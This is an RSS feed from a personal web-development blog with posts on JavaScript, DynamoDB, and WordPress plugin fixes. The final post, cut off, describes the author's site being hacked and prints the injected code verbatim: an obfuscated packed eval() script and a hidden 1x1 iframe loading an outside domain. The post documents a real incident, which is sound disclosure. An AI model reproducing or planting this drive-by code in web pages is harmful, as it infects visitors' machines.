<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Chomper Stomping</title>
	
	<link>http://blog.chomperstomp.com</link>
	<description>jQuery/JavaScript/CSS 3/HTML 5, Java/PHP/Python/ActionScript, Git, Chrome/Firefox Extensions, Wordpress/Game/iPhone App Development and other random techie tidbits I've collected</description>
	<lastBuildDate>Wed, 02 May 2012 14:36:04 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/ChomperStomping" /><feedburner:info uri="chomperstomping" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><geo:lat>39.939102</geo:lat><geo:long>-86.138318</geo:long><feedburner:emailServiceId>ChomperStomping</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><item>
		<title>Douglas Crockford – JavaScript the Good Parts</title>
		<link>http://feedproxy.google.com/~r/ChomperStomping/~3/yar3dVg2Hqw/</link>
		<comments>http://blog.chomperstomp.com/douglas-crockford-javascript-the-good-parts/#comments</comments>
		<pubDate>Wed, 02 May 2012 14:23:28 +0000</pubDate>
		<dc:creator>Christopher McCulloh</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[spotlight]]></category>

		<guid isPermaLink="false">http://blog.chomperstomp.com/?p=1022</guid>
		<description><![CDATA[Really good lecture on JavaScript, especially if you are new to the language from another language like Java.]]></description>
			<content:encoded><![CDATA[<p>Really good lecture on JavaScript, especially if you are new to the language from another language like Java.</p>
<p><iframe width="640" height="480" src="http://www.youtube.com/embed/hQVTIJBZook" frameborder="0" allowfullscreen></iframe></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=yar3dVg2Hqw:NR9jpKxa9PA:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=yar3dVg2Hqw:NR9jpKxa9PA:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=yar3dVg2Hqw:NR9jpKxa9PA:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=yar3dVg2Hqw:NR9jpKxa9PA:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=yar3dVg2Hqw:NR9jpKxa9PA:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=yar3dVg2Hqw:NR9jpKxa9PA:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=yar3dVg2Hqw:NR9jpKxa9PA:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=yar3dVg2Hqw:NR9jpKxa9PA:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=yar3dVg2Hqw:NR9jpKxa9PA:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=yar3dVg2Hqw:NR9jpKxa9PA:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=yar3dVg2Hqw:NR9jpKxa9PA:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=TzevzKxY174" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=yar3dVg2Hqw:NR9jpKxa9PA:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=dnMXMwOfBR0" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ChomperStomping/~4/yar3dVg2Hqw" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.chomperstomp.com/douglas-crockford-javascript-the-good-parts/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.chomperstomp.com/douglas-crockford-javascript-the-good-parts/</feedburner:origLink></item>
		<item>
		<title>Let the Cloud Wars Begin!!!</title>
		<link>http://feedproxy.google.com/~r/ChomperStomping/~3/wc2jGKU_dqc/</link>
		<comments>http://blog.chomperstomp.com/let-the-cloud-wars-begin/#comments</comments>
		<pubDate>Thu, 26 Apr 2012 19:50:19 +0000</pubDate>
		<dc:creator>Christopher McCulloh</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[web sites]]></category>
		<category><![CDATA[spotlight]]></category>

		<guid isPermaLink="false">http://blog.chomperstomp.com/?p=1015</guid>
		<description><![CDATA[This is all going the same direction. They are all going to end up with unlimited storage for the same price point per year, so, the sooner one of them calls it and just offers that, the better that one will do. They need to just do that, get it out of the way, and [...]]]></description>
			<content:encoded><![CDATA[<p>This is all going the same direction. They are all going to end up with unlimited storage for the same price point per year, so, the sooner one of them calls it and just offers that, the better that one will do.</p>
<p>They need to just do that, get it out of the way, and then start developing some really compelling features, the way drop box did with their easy share links.</p>
<p>Got my Google Drive setup today and downgraded my SugarSync account.</p>
<p>I have 87GB in my Google Drive account, for the low low price of $20/year because I happened to upgrade my Picasa storage several years ago. So, GDrive auto-wins for me until someone else can beat that price, or offer some amazing compelling feature that I just can&#8217;t pass up.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=wc2jGKU_dqc:9JfxxSfbYCw:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=wc2jGKU_dqc:9JfxxSfbYCw:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=wc2jGKU_dqc:9JfxxSfbYCw:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=wc2jGKU_dqc:9JfxxSfbYCw:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=wc2jGKU_dqc:9JfxxSfbYCw:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=wc2jGKU_dqc:9JfxxSfbYCw:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=wc2jGKU_dqc:9JfxxSfbYCw:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=wc2jGKU_dqc:9JfxxSfbYCw:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=wc2jGKU_dqc:9JfxxSfbYCw:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=wc2jGKU_dqc:9JfxxSfbYCw:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=wc2jGKU_dqc:9JfxxSfbYCw:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=TzevzKxY174" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=wc2jGKU_dqc:9JfxxSfbYCw:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=dnMXMwOfBR0" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ChomperStomping/~4/wc2jGKU_dqc" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.chomperstomp.com/let-the-cloud-wars-begin/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.chomperstomp.com/let-the-cloud-wars-begin/</feedburner:origLink></item>
		<item>
		<title>dynode Batch Get Item</title>
		<link>http://feedproxy.google.com/~r/ChomperStomping/~3/N24QoLuM6sM/</link>
		<comments>http://blog.chomperstomp.com/dynode-batch-get-item/#comments</comments>
		<pubDate>Thu, 26 Apr 2012 04:09:49 +0000</pubDate>
		<dc:creator>Christopher McCulloh</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[programming concepts]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[dynamodb]]></category>
		<category><![CDATA[dynode]]></category>
		<category><![CDATA[How to]]></category>
		<category><![CDATA[nodejs]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[spotlight]]></category>

		<guid isPermaLink="false">http://blog.chomperstomp.com/?p=1000</guid>
		<description><![CDATA[Working a lot with node.js, dynode and dynamoDB recently. Still trying to wrap my head around it all. Had a horrible time getting dynode.batchGetItem to work. Here is the error I was getting: { name: 'AmazonError', type: 'ValidationException', serviceName: 'com.amazon.coral.validate', message: 'One or more parameter values were invalid: Mismatching attribute types between location and schema', [...]]]></description>
			<content:encoded><![CDATA[<p>Working a lot with node.js, dynode and dynamoDB recently. Still trying to wrap my head around it all. Had a horrible time getting dynode.batchGetItem to work. Here is the error I was getting:</p>
<p><code>{ name: 'AmazonError',<br />
  type: 'ValidationException',<br />
  serviceName: 'com.amazon.coral.validate',<br />
  message: 'One or more parameter values were invalid: Mismatching attribute types between location and schema',<br />
  statusCode: 400,<br />
  retry: [Getter] }</code></p>
<p>Basically it came down to that the range selector I was using was being passed through as a string instead of a number. This is *even though* I am chaining queries, having just gotten the range selector out of another table and am immediately using it in the query that is failing. The way I was able to fix it was by casting it from a string into a number (the way Amazon expects it to come across):</p>
<pre>
results.Items.forEach(function(element, index, array){
    console.log(element);

    element.events.SS.forEach(function(ielement, iindex, iarray){
        var batchVars = {"events": {keys:[ {hash: ielement, range: parseInt(element.timestamp.N)} ]}};
        dynode.batchGetItem(batchVars, events.debugOutput);
    }, query);
}, query);</pre>
<p>The crucial part here being this line:<br />
<code>{keys:[ {hash: ielement, range: parseInt(element.timestamp.N)} ]}</code></p>
<p>Note the &#8220;parseInt&#8221; function there that gets run on the timestamp that was pulled out of the previous query results. That&#8217;s the key to getting this to work.</p>
<p>UPDATE:<br />
The dynode author asked me to submit an issue, so, I did!</p>
<p>https://github.com/Wantworthy/dynode/issues/18</p>
<p>I had just assumed this was a quirk of the library. I feel way too new to all of this to know what is a bug and what is just me doing something stupidly&#8230;</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=N24QoLuM6sM:k1FyBRO3Zr4:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=N24QoLuM6sM:k1FyBRO3Zr4:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=N24QoLuM6sM:k1FyBRO3Zr4:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=N24QoLuM6sM:k1FyBRO3Zr4:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=N24QoLuM6sM:k1FyBRO3Zr4:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=N24QoLuM6sM:k1FyBRO3Zr4:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=N24QoLuM6sM:k1FyBRO3Zr4:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=N24QoLuM6sM:k1FyBRO3Zr4:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=N24QoLuM6sM:k1FyBRO3Zr4:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=N24QoLuM6sM:k1FyBRO3Zr4:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=N24QoLuM6sM:k1FyBRO3Zr4:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=TzevzKxY174" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=N24QoLuM6sM:k1FyBRO3Zr4:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=dnMXMwOfBR0" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ChomperStomping/~4/N24QoLuM6sM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.chomperstomp.com/dynode-batch-get-item/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.chomperstomp.com/dynode-batch-get-item/</feedburner:origLink></item>
		<item>
		<title>WP phpBB Bridge: Warning: mysql_set_charset() expects parameter 2 to be resource, boolean given</title>
		<link>http://feedproxy.google.com/~r/ChomperStomping/~3/nUTm3gM0X4w/</link>
		<comments>http://blog.chomperstomp.com/wp-phpbb-bridge-warning-mysql_set_charset-expects-parameter-2-to-be-resource-boolean-given/#comments</comments>
		<pubDate>Fri, 30 Dec 2011 04:36:47 +0000</pubDate>
		<dc:creator>Christopher McCulloh</dc:creator>
				<category><![CDATA[plugin]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[bugfix]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[How to]]></category>
		<category><![CDATA[phpbb]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[spotlight]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp]]></category>
		<category><![CDATA[wp phpbb bridge]]></category>

		<guid isPermaLink="false">http://blog.chomperstomp.com/?p=983</guid>
		<description><![CDATA[Warning: mysql_set_charset() expects parameter 2 to be resource, boolean given in wp-content/plugins/wp-phpbb-bridge/inc/widgets/wpbb_topics_widget.php on line 149 This is an error caused by the fact that the WP phpBB Bridge plugin is naively written in places. For instance, in this case the plugin authors don&#8217;t expect you to be using a socket instead of a port. Looking [...]]]></description>
			<content:encoded><![CDATA[<p>Warning: mysql_set_charset() expects parameter 2 to be resource, boolean given in wp-content/plugins/wp-phpbb-bridge/inc/widgets/wpbb_topics_widget.php on line 149</p>
<p>This is an error caused by the fact that the WP phpBB Bridge plugin is naively written in places.</p>
<p>For instance, in this case the plugin authors don&#8217;t expect you to be using a socket instead of a port. Looking at the documentation for <a href="http://php.net/manual/en/function.mysql-pconnect.php">mysql-pconnect</a> you see that you can either use combination of hostname:port or hostname:socket. Since they are pulling the setup info straight from the phpBB config file, you have little to no control over the values there (especially if already configured).</p>
<p>What they ought to do is check to see if $port isset() &#038;&#038; !empt() and only then append the &#8220;:&#8221; . $port. But instead, they tag on &#8220;:&#8221; to your db host EVERY TIME. This breaks your setup if you host is defined in phpBB with a socket. Most of what I just said sort of sounds like gibberish even to me, so, basically, if you are getting this error, the problem is actually line 147. Replace the current line 147 with this:</p>
<p><script src="https://gist.github.com/1537894.js?file=wpphpbbbridgefix"></script></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=nUTm3gM0X4w:z0Hc4cE0RIs:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=nUTm3gM0X4w:z0Hc4cE0RIs:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=nUTm3gM0X4w:z0Hc4cE0RIs:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=nUTm3gM0X4w:z0Hc4cE0RIs:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=nUTm3gM0X4w:z0Hc4cE0RIs:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=nUTm3gM0X4w:z0Hc4cE0RIs:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=nUTm3gM0X4w:z0Hc4cE0RIs:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=nUTm3gM0X4w:z0Hc4cE0RIs:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=nUTm3gM0X4w:z0Hc4cE0RIs:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=nUTm3gM0X4w:z0Hc4cE0RIs:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=nUTm3gM0X4w:z0Hc4cE0RIs:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=TzevzKxY174" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=nUTm3gM0X4w:z0Hc4cE0RIs:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=dnMXMwOfBR0" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ChomperStomping/~4/nUTm3gM0X4w" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.chomperstomp.com/wp-phpbb-bridge-warning-mysql_set_charset-expects-parameter-2-to-be-resource-boolean-given/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.chomperstomp.com/wp-phpbb-bridge-warning-mysql_set_charset-expects-parameter-2-to-be-resource-boolean-given/</feedburner:origLink></item>
		<item>
		<title>Events Calendar Pro Nav Formatting Messed up on Empty Calendar</title>
		<link>http://feedproxy.google.com/~r/ChomperStomping/~3/0bPD62tM9DU/</link>
		<comments>http://blog.chomperstomp.com/events-calendar-pro-nav-formatting-messed-up-on-empty-calendar/#comments</comments>
		<pubDate>Thu, 15 Dec 2011 03:50:46 +0000</pubDate>
		<dc:creator>Christopher McCulloh</dc:creator>
				<category><![CDATA[plugin]]></category>
		<category><![CDATA[programming concepts]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[web sites]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[How to]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[spotlight]]></category>

		<guid isPermaLink="false">http://blog.chomperstomp.com/?p=971</guid>
		<description><![CDATA[The Events Calendar Pro (from http://tri.be/) has a few problems. If you are trying to figure out why a calendar with no events in that month has completely screwed up header navigation, just put this line of code inside of table.php in the top of the display_day function (put it directly before the for loop): [...]]]></description>
			<content:encoded><![CDATA[<p>The <a href="http://tri.be/wordpress-events-calendar-pro/">Events Calendar Pro (from http://tri.be/)</a> has a few problems.</p>
<p>If you are trying to figure out why a calendar with no events in that month has completely screwed up header navigation, just put this line of code inside of table.php in the top of the display_day function (put it directly before the for loop):</p>
<p><code>	$thisisherebecausethispluginSUCKSdontremoveit = has_excerpt() ? TribeEvents::truncate($post->post_excerpt) : TribeEvents::truncate(get_the_content(), 30);</code></p>
<p>This basically just runs some &#8220;truncate&#8221; function on the &#8220;TribeEvents&#8221; object. For some reason this truncate function magically fixes the header nav display issues.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=0bPD62tM9DU:YVT94M435fQ:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=0bPD62tM9DU:YVT94M435fQ:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=0bPD62tM9DU:YVT94M435fQ:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=0bPD62tM9DU:YVT94M435fQ:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=0bPD62tM9DU:YVT94M435fQ:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=0bPD62tM9DU:YVT94M435fQ:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=0bPD62tM9DU:YVT94M435fQ:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=0bPD62tM9DU:YVT94M435fQ:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=0bPD62tM9DU:YVT94M435fQ:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=0bPD62tM9DU:YVT94M435fQ:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=0bPD62tM9DU:YVT94M435fQ:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=TzevzKxY174" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=0bPD62tM9DU:YVT94M435fQ:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=dnMXMwOfBR0" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ChomperStomping/~4/0bPD62tM9DU" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.chomperstomp.com/events-calendar-pro-nav-formatting-messed-up-on-empty-calendar/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		<feedburner:origLink>http://blog.chomperstomp.com/events-calendar-pro-nav-formatting-messed-up-on-empty-calendar/</feedburner:origLink></item>
		<item>
		<title>OH SHNIKES, WE’VE BEEN HAXORED!!!</title>
		<link>http://feedproxy.google.com/~r/ChomperStomping/~3/aFAqE-6T194/</link>
		<comments>http://blog.chomperstomp.com/oh-shnikes-weve-been-haxored/#comments</comments>
		<pubDate>Tue, 29 Nov 2011 22:03:03 +0000</pubDate>
		<dc:creator>Christopher McCulloh</dc:creator>
				<category><![CDATA[autobiographical]]></category>
		<category><![CDATA[web sites]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[Computer]]></category>
		<category><![CDATA[Computer Problems]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[spotlight]]></category>

		<guid isPermaLink="false">http://blog.chomperstomp.com/?p=964</guid>
		<description><![CDATA[Yes. It finally happened. After&#8230; 6 years? on the web I finally got hacked. Two domains affected: http://cmcculloh.com http://hallelujahbutton.com (this also of course affected all sub-domains of cmcculloh.com, such as blog.cmcculloh.com). This morning I went to my site and was told by Chrome that I wasn&#8217;t allowed to go in because my site was going [...]]]></description>
			<content:encoded><![CDATA[<p>Yes. It finally happened. After&#8230; 6 years? on the web I finally got hacked.</p>
<p>Two domains affected:</p>
<p>http://cmcculloh.com</p>
<p>http://hallelujahbutton.com</p>
<p>(this also of course affected all sub-domains of cmcculloh.com, such as blog.cmcculloh.com).</p>
<p>This morning I went to my site and was told by Chrome that I wasn&#8217;t allowed to go in because my site was going to infect my machine with H.I.V. (well, not really, but that&#8217;s how it felt).</p>
<p>Here&#8217;s the screen I saw:</p>
<p><img alt="" src="http://content.screencast.com/users/cmccullo/folders/Jing/media/a34b2563-185e-4080-ad21-35ed545ef73b/2011-11-29_1641.png" title="HAXORED!!!" class="alignnone" width="519" height="698" /></p>
<p>THE VERY FIRST THING I DID WAS WENT AND CHANGED ALL OF MY PASSWORDS. I even finally got around to creating multiple users and separating all domains/sub-domains into their own user accounts. This way if cmcculloh.com gets cracked again, blog.cmcculloh.com will have less chance of also being compromised. </p>
<p>It took me quite a while to figure out what the culprit was (and I&#8217;m still not 100% sure) but then I realized that hallelujahbutton.com is exactly 1 page long it was really easy to find a very likely suspect. This line of code:</p>
<pre>
&lt;script type="text/javascript"&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?'':e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\x5C\x62'+e(c)+'\134\142','g'),k[c]);return p;}('\x56\40\71\75\x55\x20\x54\x28)\73\71\x2EY\50\x39\x2E\130\50)\53\62)\x3BW\50\123.\x4F&#038;\46\151\56u.N\x28\47M\x5C\x52\\c\x3D\47\51\x3D\75-\61\x29\173\x69\x2E\121\x28\'\\\120\134\x34\\\141\x5C\x318\\\x31\67\x5C\61\x36\x5C4\134\162\x5C\70\1341\x62\134\146\134\x62\'\x2B\x30.\x37(0.\x36\50)*\63\53\63\51\53\'\134\142\40h\\\61a\134\x31\x39\134\x31\65\\x\75\x5C\x22\x27\x2B0\x2E\67\x280\x2E\x36\x28\51\523+\x33\51+\47\x5C\42 \x5C\61\61\x5C\145\\10\\Z\134\x6A\\c\x5C\65\\j=\\\42\x5C\61\64\134\"\x5C\61\63\13412\x5C\x44\\\164\x5C5\134f\\\"B\\m\\4\\C\\\112\134n\134I\\o\134\x71\x5C\113\\F\\E\x5Cw\x5C8\x5C\x35\\\x79\\H\134a\x5C\70\x3A\\\x47\x27\530\x2E7\500.\x36\x28\x29*\x33\53\166)+\x27p\x5C\114\x5C\x79\x5C\x41\\\61\x63\134\x31\104\47\x2B\x30\x2E\x37(\x30\x2E6\x28)*\63\53v\x29+\47\\d\x5C\x67\x5C\x22\\1\x43\\\61\105\134f\\\61\x47\x5C\170\\\x38\134\144\72\1341\106\x5C\154\134g\x5C\x31\171\1341\x78\x5C1z\x5C1\102\x5C\61A\134\164.\\\x72\x5C\143\\\x31M\x5C\x6D\56\x31\x50\x5C\x6C\x5C\145\\\x6F\134\x34\134n\134\x31\117\134d\\\x31L\x5C\x31I\x5C\x7A\x5C\61\116\x5Ck\x5C\163\\\61\x4B\x5C\61\112\\\x31\x48\134\61j\\\61\x69\134\61\x6B\\1m\\q\1341l\1345\\1e\134\141\134s\\1\x64\134b\76\134\x31\x66\57\1341\150\134\141\\1\147\x5C\x31\164\x5C\61s\47);i.\165=\x27\x31\165\\\61\x77\x5Cw\\e\x5C\x31v\x5C\153\'+\x30.\67\50\x30.6\50)*\61o\51\53\x27\134\61\x6E\134\61\160\134\65\x5C\147\\\x7A\\\64\134\152\1341\162\134k\47+9.\61\x71\x28)\x7D',62,114,'\115\x61\x74h\174||10\x30\x7C\x78\x36\71|\61\64\65\x7C\x72and\157m|\x66\x6C\157or|\x78\674\174\145xp\x7C\61\64\66|4\x32|\x78\664\174\x316\60\x7C\1706\x44\174\x78\63\x44|1\x370\174\x7C\x64oc\165\x6De\x6Et\x7Cx\67\62\174\67\x35\x7C5\x37|\170\x37\x33\174x6\x45\x7C1\x34\x31\174\174\170\662\1741\644\1741\x343|\1706\103\174c\157\157\153ie|2\x30\60\174\61\x36\x35\x7C\616\64\174x\63\102\x7Cx\x370\x7C16\x34\x6F\160\174\x70\157\174\x787\64\x69\x7C\6171|1\x35\x34\174\x78\66\106|\655\x7C1\x354\145\x7Cx3A\x7C\615\67\x7C\x3163\174\x78\x378\x7C\x5F_u\174in\144\x65\x78\x4F\146\x7C\x63\157\157\153ieE\156a\142\x6Ce\x64|74\174w\162it\145\174\x78\66\104\x74|\x6E\x61vigat\157r|\104a\x74e\x7C\x6E\x65w\x7Cva\x72\174\x69\146\x7C\x67\x65\164\x44\141t\145|\x73\x65\x74D\141t\145\x7C\170\x362\x6F\174\170\x365\174\170\x36\x36\162\141\174\x31\x36\63\164\x7C\170\620\x7C\x360\174\6150\x7C40\167\x7Cx6D\145\1741\66\x32a\174\x786\x37\x7C1\645\x69|\x78\668\1747\x32|\x365\174x30|x\63\x43|\1707\x32a\x7C\61\x351|x\x33\657\x7C\170\633\x7C\1703\65\x7C\x78\63\x38\174\170\x337\174\x37\63\x7C\7199\719\x399|40\174to\x55\124C\x53t\x72\151ng\x7C\x31\64\65\163|\170\63E\174\x31\x35\x35e\x7C\137|x\674\144|\170\x35F|16\63\155\174x\x36\x31\174\6161\174x69\145|\170\66\64\163\174\x78\62\x30\163r\x7Cx\62D\x7C\x78\66\63|\x78\62F\1744\x32\150\x7Cx3\x31\174\x783\x46\174\x7834\x7C67\x7C\x78\x36\70\x70|1\x35\x36|\x786\x31g\x65\174\65\x36\174\165\x73'.split('|'),0,{}))&lt;/script&gt;
&lt;iframe src="http://xmtudaac.cz.cc/?go=1" width="1" height="1"&gt;&lt;/iframe&gt;
</pre>
<p>(I added a line break for legibility)</p>
<p>EEEEEWWWW!!!!!! I got pwned!!!</p>
